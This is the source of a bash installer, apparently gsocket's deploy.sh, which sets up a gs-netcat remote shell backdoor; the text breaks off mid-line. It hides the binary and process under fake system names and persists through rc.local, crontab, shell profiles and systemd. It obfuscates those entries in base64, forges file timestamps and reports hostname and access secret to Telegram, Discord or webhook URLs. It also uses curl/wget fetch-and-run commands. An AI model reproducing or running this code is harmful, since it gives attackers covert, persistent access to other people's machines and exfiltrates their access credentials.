GS_USELOCAL=1 GS_NOSTART=1 GS_NOINST=1 ./deploy.sh # GS_HOST=127.0.0.1 GS_PORT=4443 GS_DEBUG=1 GS_USELOCAL=1 GS_USELOCAL_GSNC=../tools/gs-netcat GS_NOSTART=1 GS_NOINST=1 ./deploy.sh # GS_USELOCAL=1 # - Use local binaries (do not download) # GS_USELOCAL_GSNC= # - Use local gs-netcat from source tree # GS_NOSTART=1 # - Do not start gs-netcat (for testing purpose only) # GS_NOINST=1 # - Do not install gsocket # GS_OSARCH=x86_64-alpine # - Force architecutre to a specific package (for testing purpose only) # GS_PREFIX= # - Use 'path' instead of '/' (needed for packaging/testing) # GS_URL_BASE=https://gsocket.io # - Specify URL of static binaries # GS_URL_BIN= # - Specify URL of static binaries, defaults to https://${GS_URL_BASE}/bin # GS_DSTDIR="/tmp/foobar/blah" # - Specify custom installation directory # GS_HIDDEN_NAME="-bash" # - Specify custom hidden name for process # GS_DL=wget # - Command to use for download. =wget or =curl. # GS_TG_TOKEN= # - Telegram Bot ID, =5794110125:AAFDNb... # GS_TG_CHATID= # - Telegram Chat ID, =-8834838... # GS_DISCORD_KEY= # - Discord API key, ="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m" # GS_WEBHOOK_KEY= # - https://webhook.site key, ="dc3c1af9-ea3d-4401-9158-eb6dda735276" # GS_WEBHOOK= # - Generic webhook, ="https://foo.blah/log.php?s=\${GS_SECRET}" # GS_HOST= # - IP or HOSTNAME of the GSRN-Server. Default is to use THC's infrastructure. # - See https://github.com/hackerschoice/gsocket-relay # GS_PORT= # - Port for the GSRN-Server. Default is 443. # TMPDIR= # - Guess what... # Global Defines URL_BASE="https://gsocket.io" [[ -n $GS_URL_BASE ]] && URL_BASE="${GS_URL_BASE}" URL_BIN="${URL_BASE}/bin" URL_DEPLOY="${URL_BASE}/x" [[ -n $GS_URL_BIN ]] && URL_BIN="${GS_URL_BIN}" [[ -n $GS_URL_DEPLOY ]] && URL_DEPLOY="${GS_URL_DEPLOY}" # STUBS for deploy_server.sh to fill out: gs_deploy_webhook= GS_WEBHOOK_404_OK= [[ -n $gs_deploy_webhook ]] && GS_WEBHOOK="$gs_deploy_webhook" unset gs_deploy_webhook # WEBHOOKS are executed after a successfull install # shellcheck disable=SC2016 #Expressions don't expand in single quotes, use double quotes for that. msg='$(hostname) --- $(uname -rom) --- gs-netcat -i -s ${GS_SECRET}' ### Telegram # GS_TG_TOKEN="5794110125:AAFDNb..." # GS_TG_CHATID="-8834838..." [[ -n $GS_TG_TOKEN ]] && [[ -n $GS_TG_CHATID ]] && { GS_WEBHOOK_CURL=("--data-urlencode" "text=${msg}" "https://api.telegram.org/bot${GS_TG_TOKEN}/sendMessage?chat_id=${GS_TG_CHATID}&parse_mode=html") GS_WEBHOOK_WGET=("https://api.telegram.org/bot${GS_TG_TOKEN}/sendMessage?chat_id=${GS_TG_CHATID}&parse_mode=html&text=${msg}") } ### Generic URL as webhook (any URL) [[ -n $GS_WEBHOOK ]] && { GS_WEBHOOK_CURL=("$GS_WEBHOOK") GS_WEBHOOK_WGET=("$GS_WEBHOOK") } ### webhook.site # GS_WEBHOOK_KEY="dc3c1af9-ea3d-4401-9158-eb6dda735276" [[ -n $GS_WEBHOOK_KEY ]] && { # shellcheck disable=SC2016 #Expressions don't expand in single quotes, use double quotes for that. data='{"hostname": "$(hostname)", "system": "$(uname -rom)", "access": "gs-netcat -i -s ${GS_SECRET}"}' GS_WEBHOOK_CURL=('-H' 'Content-type: application/json' '-d' "${data}" "https://webhook.site/${GS_WEBHOOK_KEY}") GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://webhook.site/${GS_WEBHOOK_KEY}") } ### discord webhook # GS_DISCORD_KEY="1106565073956253736/mEDRS5iY0S4sgUnRh8Q5pC4S54zYwczZhGOwXvR3vKr7YQmA0Ej1-Ig60Rh4P_TGFq-m" [[ -n $GS_DISCORD_KEY ]] && { data='{"username": "gsocket", "content": "'"${msg}"'"}' GS_WEBHOOK_CURL=('-H' 'Content-Type: application/json' '-d' "${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}") GS_WEBHOOK_WGET=('--header=Content-Type: application/json' "--post-data=${data}" "https://discord.com/api/webhooks/${GS_DISCORD_KEY}") } unset data unset msg DL_CRL="bash -c \"\$(curl -fsSL $URL_DEPLOY)\"" DL_WGT="bash -c \"\$(wget -qO- $URL_DEPLOY)\"" BIN_HIDDEN_NAME_DEFAULT="gs-dbus" # Can not use '[kcached/0]'. Bash without bashrc would use "/0] $" as prompt. PROC_HIDDEN_NAME_DEFAULT="[kcached]" [[ -t 1 ]] && { CY="\033[1;33m" # yellow CG="\033[1;32m" # green CR="\033[1;31m" # red CDR="\033[0;31m" # red CC="\033[1;36m" # cyan CM="\033[1;35m" # magenta CN="\033[0m" # none CW="\033[1;37m" } if [[ -z "$GS_DEBUG" ]]; then DEBUGF(){ :;} else DEBUGF(){ echo -e "${CY}DEBUG:${CN} $*";} fi _ts_fix() { local fn local ts local args local ax fn="$1" ts="$2" args=() #OSX, must init or " " in touch " " -r [[ ! -e "$1" ]] && return [[ -z $ts ]] && return # Change the symlink for ts_systemd_fn items [[ -n "$3" ]] && args=("-h") # Either reference by Timestamp or File [[ "${ts:0:1}" = '/' ]] && { [[ ! -e "${ts}" ]] && ts="/etc/ld.so.conf" ax=("${args[@]}" "-r" "$ts" "$fn") touch "${ax[@]}" 2>/dev/null return } ax=("${args[@]}" "-t" "$ts" "$fn") touch "${ax[@]}" 2>/dev/null && return # If 'date -r' or 'touch -t' failed: ax=("${args[@]}" "-r" "/etc/ld.so.conf" "$fn") touch "${ax[@]}" 2>/dev/null } # Restore timestamp of files ts_restore() { local fn local n local ts [[ ${#_ts_fn_a[@]} -ne ${#_ts_ts_a[@]} ]] && { echo >&2 "Ooops"; return; } n=0 while :; do [[ $n -eq "${#_ts_fn_a[@]}" ]] && break ts="${_ts_ts_a[$n]}" fn="${_ts_fn_a[$n]}" # DEBUGF "RESTORE-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" done unset _ts_fn_a unset _ts_ts_a n=0 while :; do [[ $n -eq "${#_ts_systemd_ts_a[@]}" ]] && break ts="${_ts_systemd_ts_a[$n]}" fn="${_ts_systemd_fn_a[$n]}" # DEBUGF "RESTORE-LAST-TS ${fn} ${ts}" ((n++)) _ts_fix "$fn" "$ts" "symlink" done unset _ts_systemd_fn_a unset _ts_systemd_ts_a } ts_is_marked() { local fn local a fn="$1" for a in "${_ts_fn_a[@]}"; do [[ "$a" = "$fn" ]] && return 0 # True done return 1 # False } # There are some files which need TimeStamp update after all other TimeStamps # have been fixed. Noteable /etc/systemd/system/multi-user.target.wants # ts_add_last [file] ts_add_systemd() { local fn local ts local ref fn="$1" ref="$2" ts="$ref" [[ -z $ref ]] && { ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" || return } # Note: _ts_systemd_ts_a may store a number or a directory (start with '/') _ts_systemd_ts_a+=("$ts") _ts_systemd_fn_a+=("$fn") } # Determine the Timestamp of the file $fn that is about to be # created (or already exists). # Sets $_ts_ts to Timestamp. # Usage: _ts_get_ts [$fn] _ts_get_ts() { local fn local n local pdir fn="$1" pdir="$(dirname "$1")" unset _ts_ts unset _ts_pdir_by_us # Inherit Timestamp if parent directory was created # by us. n=0 while :; do [[ $n -eq "${#_ts_fn_a[@]}" ]] && break [[ "$pdir" = "${_ts_mkdir_fn_a[$n]}" ]] && { _ts_ts="${_ts_ts_a[$n]}" _ts_pdir_by_us=1 # DEBUGF "Parent ${pdir} created by us." return } ((n++)) done # Check if file exists. [[ -e "$fn" ]] && _ts_ts="$(date -r "$fn" +%Y%m%d%H%M.%S 2>/dev/null)" && return # Take ts from oldest file in directory # shellcheck disable=SC2012 #Use find instead of ls => not portable oldest="${pdir}/$(ls -atr "${pdir}" 2>/dev/null | head -n1)" _ts_ts="$(date -r "$oldest" +%Y%m%d%H%M.%S 2>/dev/null)" } _ts_add() { # Retrieve TimeStamp for $1 _ts_get_ts "$1" # Add TimeStamp _ts_ts_a+=("$_ts_ts") _ts_fn_a+=("$1"); _ts_mkdir_fn_a+=("$2") } # Note: Do not use global _ts variables except _ts_add_direct # Usage: mk_file [filename] mk_file() { local fn local oldest local pdir local pdir_added fn="$1" local exists # DEBUGF "${CC}MK_FILE($fn)${CN}" pdir="$(dirname "$fn")" [[ -e "$fn" ]] && exists=1 ts_is_marked "$pdir" || { # HERE: Parent not tracked _ts_add "$pdir" "" pdir_added=1 } ts_is_marked "$fn" || { # HERE: Not yet tracked _ts_get_ts "$fn" # Do not add creation fails. touch "$fn" 2>/dev/null || { # HERE: Permission denied [[ -n "$pdir_added" ]] && { # Remove pdir if it was added above # Bash <5.0 does not support arr[-1] # Quote (") to silence shellcheck unset "_ts_ts_a[${#_ts_ts_a[@]}-1]" unset "_ts_fn_a[${#_ts_fn_a[@]}-1]" unset "_ts_mkdir_fn_a[${#_ts_mkdir_fn_a[@]}-1]" } return 69 # False } [[ -z $exists ]] && chmod 600 "$fn" _ts_ts_a+=("$_ts_ts") _ts_fn_a+=("$fn"); _ts_mkdir_fn_a+=("") return } touch "$fn" 2>/dev/null || return [[ -z $exists ]] && chmod 600 "$fn" true } xrmdir() { local fn local pdir fn="$1" [[ ! -d "$fn" ]] && return pdir="$(dirname "$fn")" ts_is_marked "$pdir" || { _ts_add "$pdir" "" } rmdir "$fn" 2>/dev/null } xrm() { local pdir local fn fn="$1" [[ ! -f "$fn" ]] && return pdir="$(dirname "$fn")" ts_is_marked "$pdir" || { # HERE: Parent is not tracked. _ts_add "$pdir" "" } rm -f "$1" 2>/dev/null } # Create a directory if it does not exist and fix timestamp # xmkdir [directory] xmkdir() { local fn local pdir fn="$1" DEBUGF "${CG}XMKDIR($fn)${CN}" pdir="$(dirname "$fn")" true # reset $? [[ -d "$fn" ]] && return # Directory already exists [[ ! -d "$pdir" ]] && return # Parent dir does not exists (Huh?) # Check if parent is being tracked ts_is_marked "$pdir" || { # HERE: Parent not tracked # We did not create the parent or we would be tracking it. _ts_add "$pdir" "" } # Check if new directory is already tracked ts_is_marked "$fn" || { # HERE: Not yet tracked (normal case) _ts_add "$fn" "$fn" # We create the directory (below) } mkdir "$fn" 2>/dev/null || return chmod 700 "$fn" true } xcp() { local src local dst src="$1" dst="$2" # DEBUGF "${CG}XCP($src, $dst)${CN}" mk_file "$dst" || return cp "$src" "$dst" || return true } xmv() { local src local dst src="$1" dst="$2" xcp "$src" "$dst" xrm "$src" true } clean_all() { [[ "${#TMPDIR}" -gt 5 ]] && { rm -rf "${TMPDIR:?}/"* rmdir "${TMPDIR}" } &>/dev/null ts_restore } exit_code() { clean_all exit "$1" } errexit() { [[ -z "$1" ]] || echo -e >&2 "${CR}$*${CN}" exit_code 255 } # Test if directory can be used to store executeable # try_dstdir "/tmp/.gs-foobar" # Return 0 on success. try_dstdir() { local dstdir local trybin dstdir="${1}" # Create directory if it does not exists. [[ ! -d "${dstdir}" ]] && { xmkdir "${dstdir}" || return 101; } DSTBIN="${dstdir}/${BIN_HIDDEN_NAME}" mk_file "$DSTBIN" || return 102 # Find an executeable and test if we can execute binaries from # destination directory (no noexec flag) # /bin/true might be a symlink to /usr/bin/true for ebin in "/bin/true" "$(command -v id)"; do [[ -z $ebin ]] && continue [[ -e "$ebin" ]] && break done [[ ! -e "$ebin" ]] && return 0 # True. Try our best # Must use same name on busybox-systems trybin="${dstdir}/$(basename "$ebin")" # /bin/true might be a symlink to /usr/bin/true [[ "$ebin" -ef "$trybin" ]] && return 0 mk_file "$trybin" || return # Return if both are the same /bin/true and /usr/bin/true cp "$ebin" "$trybin" &>/dev/null || { rm -f "${trybin:?}"; return; } chmod 700 "$trybin" # Between 28th April and end of May we accidentially # over wrote /bin/true with gs-bd binary. Thus we use -g # to make true, id and gs-bd return true (in case it's gs-bs). "${trybin}" -g &>/dev/null || { rm -f "${trybin:?}"; return 104; } # FAILURE rm -f "${trybin:?}" return 0 } # Called _after_ init_vars() at the end of init_setup. init_dstbin() { if [[ -n "$GS_DSTDIR" ]]; then try_dstdir "${GS_DSTDIR}" && return errexit "FAILED: GS_DSTDIR=${GS_DSTDIR} is not writeable and executeable." fi # Try systemwide installation first try_dstdir "${GS_PREFIX}/usr/bin" && return # Try user installation [[ ! -d "${GS_PREFIX}${HOME}/.config" ]] && xmkdir "${GS_PREFIX}${HOME}/.config" try_dstdir "${GS_PREFIX}${HOME}/.config/dbus" && return # Try current working directory try_dstdir "${PWD}" && { IS_DSTBIN_CWD=1; return; } # Try /tmp/.gsusr-* try_dstdir "/tmp/.gsusr-${UID}" && { IS_DSTBIN_TMP=1; return; } # Try /dev/shm as last resort try_dstdir "/dev/shm" && { IS_DSTBIN_TMP=1; return; } echo -e >&2 "${CR}ERROR: Can not find writeable and executable directory.${CN}" WARN "Try setting GS_DSTDIR= to a writeable and executable directory." errexit } try_tmpdir() { [[ -n $TMPDIR ]] && return # already set [[ ! -d "$1" ]] && return [[ -d "$1" ]] && xmkdir "${1}/${2}" && TMPDIR="${1}/${2}" } try_encode() { local enc local dec local teststr prg="$1" enc="$2" dec="$3" teststr="blha|;id-u \'this is a long test of a very long string to test encodign decoding process # foobar" [[ -n $ENCODE_STR ]] && return command -v "$prg" >/dev/null && [[ "$(echo "$teststr" | $enc 2>/dev/null| $dec 2>/dev/null)" = "$teststr" ]] || return ENCODE_STR="$enc" DECODE_STR="$dec" } # Return TRUE if we are 100% sure it's little endian is_le() { command -v lscpu >/dev/null && { [[ $(lscpu) == *"Little Endian"* ]] && return 0 return 255 } command -v od >/dev/null && command -v awk >/dev/null && { [[ $(echo -n I | od -o | awk 'FNR==1{ print substr($2,6,1)}') == "1" ]] && return 0 } return 255 } init_vars() { # Select binary local arch arch=$(uname -m) if [[ -z "$HOME" ]]; then HOME="$(grep ^"$(whoami)" /etc/passwd | cut -d: -f6)" [[ ! -d "$HOME" ]] && errexit "ERROR: \$HOME not set. Try 'export HOME='" WARN "HOME not set. Using 'HOME=$HOME'" fi # set PWD if not set [[ -z "$PWD" ]] && PWD="$(pwd 2>/dev/null)" [[ -z "$OSTYPE" ]] && { local osname osname="$(uname -s)" if [[ "$osname" == *FreeBSD* ]]; then OSTYPE="FreeBSD" elif [[ "$osname" == *Darwin* ]]; then OSTYPE="darwin22.0" elif [[ "$osname" == *Linux* ]]; then OSTYPE="linux-gnu" fi } unset OSARCH # User supplied OSARCH [[ -n "$GS_OSARCH" ]] && OSARCH="$GS_OSARCH" if [[ -z "$OSARCH" ]]; then if [[ $OSTYPE == *linux* ]]; then if [[ "$arch" == "i686" ]] || [[ "$arch" == "i386" ]]; then OSARCH="i386-alpine" elif [[ "$arch" == *"armv"* ]]; then OSARCH="arm-linux" # RPI-Zero / RPI 4b+ elif [[ "$arch" == "aarch64" ]]; then OSARCH="aarch64-linux" elif [[ "$arch" == "mips64" ]]; then OSARCH="mips64-alpine" # Go 32-bit if Little Endian even if 64bit arch is_le && OSARCH="mipsel32-alpine" elif [[ "$arch" == *mips* ]]; then OSARCH="mips32-alpine" is_le && OSARCH="mipsel32-alpine" fi elif [[ $OSTYPE == *darwin* ]]; then if [[ "$arch" == "arm64" ]]; then OSARCH="x86_64-osx" # M1 # OSARCH="arm64-osx" # M1 else OSARCH="x86_64-osx" fi elif [[ $OSTYPE == *FreeBSD* ]]; then OSARCH="x86_64-freebsd" elif [[ $OSTYPE == *cygwin* ]]; then OSARCH="i686-cygwin" [[ "$arch" == "x86_64" ]] && OSARCH="x86_64-cygwin" # elif [[ $OSTYPE == *gnu* ]] && [[ "$(uname -v)" == *Hurd* ]]; then # OSARCH="i386-hurd" # debian-hurd fi [[ -z "$OSARCH" ]] && OSARCH="x86_64-alpine" # Default: Try Alpine(muscl libc) 64bit fi # Docker does not set USER [[ -z "$USER" ]] && USER=$(id -un) [[ -z "$UID" ]] && UID=$(id -u) # check that xxd is working as expected (alpine linux does not have -r option) try_encode "base64" "base64 -w0" "base64 -d" try_encode "xxd" "xxd -ps -c1024" "xxd -r -ps" DEBUGF "ENCODE_STR='${ENCODE_STR}'" SRC_PKG="gs-netcat_${OSARCH}.tar.gz" # OSX's pkill matches the hidden name and not the original binary name. # Because we hide as '-bash' we can not use pkill all -bash. # 'killall' however matches gs-dbus and on OSX we thus force killall if [[ $OSTYPE == *darwin* ]]; then # on OSX 'pkill' matches the process (argv[0]) whereas on Unix # 'pkill' matches the binary name. KL_CMD="killall" KL_CMD_RUNCHK_UARG=("-0" "-u${USER}") elif command -v pkill >/dev/null; then KL_CMD="pkill" KL_CMD_RUNCHK_UARG=("-0" "-U${UID}") elif command -v killall >/dev/null; then KL_CMD="killall" # cygwin's killall needs the name (not the uid) KL_CMD_RUNCHK_UARG=("-0" "-u${USER}") fi # $PATH might be set differently in crontab/.profile. Use # absolute path to binary instead: KL_CMD_BIN="$(command -v "$KL_CMD")" [[ -z $KL_CMD_BIN ]] && { # set to something that returns 'false' so that we dont # have to check for empty string in crontab/.profile # (e.g. skip checking if already running and always start) KL_CMD_BIN="$(command -v false)" [[ -z $KL_CMD_BIN ]] && KL_CMD_BIN="/bin/does-not-exit" WARN "No pkill or killall found." } # Defaults BIN_HIDDEN_NAME="${BIN_HIDDEN_NAME_DEFAULT}" SEC_NAME="${BIN_HIDDEN_NAME_DEFAULT}.dat" PROC_HIDDEN_NAME="${GS_HIDDEN_NAME:-$PROC_HIDDEN_NAME_DEFAULT}" SERVICE_HIDDEN_NAME="${BIN_HIDDEN_NAME}" RCLOCAL_DIR="${GS_PREFIX}/etc" RCLOCAL_FILE="${RCLOCAL_DIR}/rc.local" # Create a list of potential rc-files. # - .bashrc is often, but not always, included by .bash_profile [IGNORE] # - .bash_login is ignored if .bash_profile exists # - $SHELL might not be set (if /bin/sh was gained by RCE) [[ -f ~/.zshrc ]] && RC_FN_LIST+=(".zshrc") if [[ -f ~/.bashrc ]]; then RC_FN_LIST+=(".bashrc") # Assume .bashrc is loaded by .bash_profile and .profile else # HERE: not bash or .bashrc does not exist if [[ -f ~/.bash_profile ]]; then RC_FN_LIST+=(".bash_profile") elif [[ -f ~/.bash_login ]]; then RC_FN_LIST+=(".bash_login") fi fi [[ -f ~/.profile ]] && RC_FN_LIST+=(".profile") [[ ${#RC_FN_LIST[@]} -eq 0 ]] && RC_FN_LIST+=(".profile") [[ -d "${GS_PREFIX}/etc/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/etc/systemd/system" [[ -d "${GS_PREFIX}/lib/systemd/system" ]] && SERVICE_DIR="${GS_PREFIX}/lib/systemd/system" WANTS_DIR="${GS_PREFIX}/etc/systemd/system" # always this SERVICE_FILE="${SERVICE_DIR}/${SERVICE_HIDDEN_NAME}.service" SYSTEMD_SEC_FILE="${SERVICE_DIR}/${SEC_NAME}" RCLOCAL_SEC_FILE="${RCLOCAL_DIR}/${SEC_NAME}" CRONTAB_DIR="${GS_PREFIX}/var/spool/cron/crontabs" [[ ! -d "${CRONTAB_DIR}" ]] && CRONTAB_DIR="${GS_PREFIX}/etc/cron/crontabs" local pids pids="$(pgrep "${BIN_HIDDEN_NAME}" 2>/dev/null)" # OSX's pgrep works on argv[0] proc-name [[ -z $pids ]] && pids="$(pgrep "${PROC_HIDDEN_NAME//[^[:alnum:]]}" 2>/dev/null)" [[ -n $pids ]] && OLD_PIDS="${pids//$'\n'/ }" # Convert multi line into single line # DL_CMD is used for help output of how to uninstall if [[ -n "$GS_USELOCAL" ]]; then DL_CMD="./deploy-all.sh" elif command -v curl >/dev/null; then DL_CMD="$DL_CRL" elif command -v wget >/dev/null; then DL_CMD="$DL_WGT" else # errexit "Need curl or wget." FAIL_OUT "Need curl or wget. Try ${CM}apt install curl${CN}" errexit fi [[ $GS_DL == "wget" ]] && DL_CMD="$DL_WGT" [[ $GS_DL == "curl" ]] && DL_CMD="$DL_CRL" if [[ "$DL_CMD" == "$DL_CRL" ]]; then IS_USE_CURL=1 ### Note: need -S (--show-errors) to process 404 for CF webhooks. DL=("curl" "-fsSL" "--connect-timeout" "7" "-m30" "--retry" "3") [[ -n $GS_DEBUG ]] && DL+=("-v") [[ -n $GS_NOCERTCHECK ]] && DL+=("-k") elif [[ "$DL_CMD" == "$DL_WGT" ]]; then IS_USE_WGET=1 ### Note: Dont use -q: Need errors to process 404 for CF webhooks DL=("wget" "-O-" "--connect-timeout=7" "--dns-timeout=7") [[ -n $GS_NOCERTCHECK ]] && DL+=("--no-check-certificate") else DL=("false") # Should not happen fi [[ $SHELL == *"nologin"* ]] && unset SHELL DEBUGF "OLD_PIDS='$OLD_PIDS'" DEBUGF "SRC_PKG=$SRC_PKG" } mk_encode() { echo "{ echo $(echo "$1"|${ENCODE_STR})|${DECODE_STR}|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng ${BIN_HIDDEN_NAME}-kernel" } init_setup() { [[ -n $TMPDIR ]] && try_tmpdir "${TMPDIR}" ".gs-${UID}" try_tmpdir "/dev/shm" ".gs-${UID}" try_tmpdir "/tmp" ".gs-${UID}" try_tmpdir "${HOME}" ".gs" try_tmpdir "$(pwd)" ".gs-${UID}" if [[ -n "$GS_PREFIX" ]]; then # Debuggin and testing into separate directory mkdir -p "${GS_PREFIX}/etc" 2>/dev/null mkdir -p "${GS_PREFIX}/usr/bin" 2>/dev/null mkdir -p "${GS_PREFIX}${HOME}" 2>/dev/null if [[ -f "${HOME}/${RC_FN_LIST[1]}" ]]; then xcp -p "${HOME}/${RC_FN_LIST[1]}" "${GS_PREFIX}${HOME}/${RC_FN_LIST[1]}" fi xcp -p /etc/rc.local "${GS_PREFIX}/etc/" fi command -v tar >/dev/null || errexit "Need tar. Try ${CM}apt install tar${CN}" command -v gzip >/dev/null || errexit "Need gzip. Try ${CM}apt install gzip${CN}" touch "${TMPDIR}/.gs-rw.lock" || errexit "FAILED. No temporary directory found for downloading package. Try setting TMPDIR=" rm -f "${TMPDIR}/.gs-rw.lock" 2>/dev/null # Find out which directory is writeable init_dstbin NOTE_DONOTREMOVE="# DO NOT REMOVE THIS LINE. SEED PRNG. #${BIN_HIDDEN_NAME}-kernel" USER_SEC_FILE="$(dirname "${DSTBIN}")/${SEC_NAME}" # Do not add TERM= or SHELL= here because we do not like that to show in gs-dbus.service [[ -n $GS_HOST ]] && ENV_LINE+=("GS_HOST='${GS_HOST}'") [[ -n $GS_PORT ]] && ENV_LINE+=("GS_PORT='${GS_PORT}'") # Add an empty item so that ${ENV_LINE[*]}GS_ARGS= adds an extra space between [[ ${#ENV_LINE[@]} -ne 0 ]] && ENV_LINE+=("") RCLOCAL_LINE="${ENV_LINE[*]}HOME=$HOME SHELL=$SHELL TERM=xterm-256color GS_ARGS=\"-k ${RCLOCAL_SEC_FILE} -liqD\" $(command -v bash) -c \"cd /root; exec -a '${PROC_HIDDEN_NAME}' ${DSTBIN}\" 2>/dev/null" # There is no reliable way to check if a process is running: # - Process might be running under different name. Especially OSX checks for the orginal name # but not the hidden name. # - pkill or killall may have moved. # The best we can do: # 1. Try pkill/killall _AND_ daemon is running then do nothing. # 2. Otherwise start gs-dbus as DAEMON. The daemon will exit (fully) if GS-Address is already in use. PROFILE_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || (${ENV_LINE[*]}TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}' 2>/dev/null)" CRONTAB_LINE="${KL_CMD_BIN} ${KL_CMD_RUNCHK_UARG[*]} ${BIN_HIDDEN_NAME} 2>/dev/null || ${ENV_LINE[*]}SHELL=$SHELL TERM=xterm-256color GS_ARGS=\"-k ${USER_SEC_FILE} -liqD\" $(command -v bash) -c \"exec -a '${PROC_HIDDEN_NAME}' '${DSTBIN}'\" 2>/dev/null" if [[ -n $ENCODE_STR ]]; then RCLOCAL_LINE="$(mk_encode "$RCLOCAL_LINE")" PROFILE_LINE="$(mk_encode "$PROFILE_LINE")" CRONTAB_LINE="$(mk_encode "$CRONTAB_LINE")" fi # DEBUGF "RCLOCAL_LINE=${RCLOCAL_LINE}" # DEBUGF "PROFILE_LINE=${PROFILE_LINE}" # DEBUGF "CRONTAB_LINE=${CRONTAB_LINE}" DEBUGF "TMPDIR=${TMPDIR}" DEBUGF "DSTBIN=${DSTBIN}" } uninstall_rm() { [[ -z "$1" ]] && return [[ ! -f "$1" ]] && return # return if file does not exist echo "Removing $1..." xrm "$1" 2>/dev/null || return } uninstall_rmdir() { [[ -z "$1" ]] && return [[ ! -d "$1" ]] && return # return if file does not exist xrmdir "$1" 2>/dev/null || return echo "Removing $1..." } uninstall_rc() { local hname local fn hname="$2" fn="$1" [[ ! -f "$fn" ]] && return # File does not exist grep -F -- "${hname}" "$fn" &>/dev/null || return # not installed mk_file "$fn" || return echo "Removing ${fn}..." D="$(grep -v -F -- "${hname}" "$fn")" echo "$D" >"${fn}" || return [[ ! -s "${fn}" ]] && rm -f "${fn:?}" 2>/dev/null # delete zero size file } uninstall_service() { local dir local sn local sf dir="$1" sn="$2" sf="${dir}/${sn}.service" [[ ! -f "${sf}" ]] && return command -v systemctl >/dev/null && [[ $UID -eq 0 ]] && { ts_add_systemd "${WANTS_DIR}/multi-user.target.wants" # STOPPING would kill the current login shell. Do not stop it. # systemctl stop "${SERVICE_HIDDEN_NAME}" &>/dev/null systemctl disable "${sn}" 2>/dev/null && systemd_kill_cmd+=";systemctl stop ${sn}" } uninstall_rm "${sf}" } # Rather important function especially when testing and developing this... uninstall() { uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/${BIN_HIDDEN_NAME}" uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/gs-bd" uninstall_rm "${GS_PREFIX}/usr/bin/${BIN_HIDDEN_NAME}" uninstall_rm "${GS_PREFIX}/usr/bin/gs-bd" uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}" uninstall_rm "/tmp/.gsusr-${UID}/${BIN_HIDDEN_NAME}" uninstall_rm "${RCLOCAL_DIR}/${SEC_NAME}" uninstall_rm "${RCLOCAL_DIR}/gs-bd.dat" #OLD uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/${SEC_NAME}" uninstall_rm "${GS_PREFIX}${HOME}/.config/dbus/gs-bd.dat" #OLD uninstall_rm "${GS_PREFIX}/usr/bin/${SEC_NAME}" uninstall_rm "${GS_PREFIX}/usr/bin/gs-bd.dat" #OLD uninstall_rm "/dev/shm/${SEC_NAME}" uninstall_rm "/tmp/.gsusr-${UID}${SEC_NAME}" uninstall_rmdir "${GS_PREFIX}${HOME}/.config/dbus" uninstall_rmdir "${GS_PREFIX}${HOME}/.config" uninstall_rmdir "/tmp/.gsusr-${UID}" uninstall_rm "/dev/shm/${BIN_HIDDEN_NAME}" uninstall_rm "${TMPDIR}/${SRC_PKG}" uninstall_rm "${TMPDIR}/._gs-netcat" # OLD uninstall_rmdir "${TMPDIR}" uninstall_rm "${PWD}/${BIN_HIDDEN_NAME}" uninstall_rm "${PWD}/${SEC_NAME}" # Remove from login script for fn in ".bash_profile" ".bash_login" ".bashrc" ".zshrc" ".profile"; do uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "${BIN_HIDDEN_NAME}" uninstall_rc "${GS_PREFIX}${HOME}/${fn}" "gs-bd" #OLD done uninstall_rc "${GS_PREFIX}/etc/rc.local" "${BIN_HIDDEN_NAME}" uninstall_rc "${GS_PREFIX}/etc/rc.local" "gs-bd" #OLD # Remove crontab if [[ ! $OSTYPE == *darwin* ]]; then if crontab -l 2>/dev/null | grep -F -e "$BIN_HIDDEN_NAME" -e "gs-bd" &>/dev/null; then [[ $UID -eq 0 ]] && mk_file "${CRONTAB_DIR}/root" command -v crontab >/dev/null && crontab -l 2>/dev/null | grep -v -F -- "${BIN_HIDDEN_NAME}" | grep -v -F -- "gs-bd" | crontab - 2>/dev/null fi fi # Remove systemd service uninstall_service "${SERVICE_DIR}" "${SERVICE_HIDDEN_NAME}" uninstall_service "/etc/systemd/system" "gs-bd" #OLD [[ $UID -eq 0 ]] && systemctl daemon-reload 2>/dev/null ## Systemd's gs-dbus.dat uninstall_rm "${SYSTEMD_SEC_FILE}" uninstall_rm "/etc/systemd/system/gs-bd.dat" #OLD echo -e "${CG}Uninstall complete.${CN}" echo -e "--> Use ${CM}${KL_CMD:-pkill} ${BIN_HIDDEN_NAME}${systemd_kill_cmd}${CN} to terminate all running shells." exit_code 0 } SKIP_OUT() { echo -e "[${CY}SKIPPING${CN}]" [[ -n "$1" ]] && echo -e "--> $*" } OK_OUT() { echo -e "......[${CG}OK${CN}]" [[ -n "$1" ]] && echo -e "--> $*" } FAIL_OUT() { echo -e "..[${CR}FAILED${CN}]" for str in "$@"; do echo -e "--> $str" done } WARN() { echo -e "--> ${CY}WARNING: ${CN}$*" } WARN_EXECFAIL_SET() { [[ -n "$WARN_EXECFAIL_MSG" ]] && return # set it once (first occurance) only WARN_EXECFAIL_MSG="CODE=${1} (${2}): ${CY}$(uname -n -m -r)${CN}" } WARN_EXECFAIL() { [[ -z "$WARN_EXECFAIL_MSG" ]] && return echo -e "--> Please send this output to ${CC}root@proton.thc.org${CN} to get it fixed." echo -e "--> ${WARN_EXECFAIL_MSG}" } HOWTO_CONNECT_OUT() { # After all install attempts output help how to uninstall echo -e "--> To uninstall use ${CM}GS_UNDO=1 ${DL_CMD}${CN}" echo -e "--> To connect use one of the following: --> ${CM}gs-netcat -s \"${GS_SECRET}\" -i${CN} --> ${CM}S=\"${GS_SECRET}\" 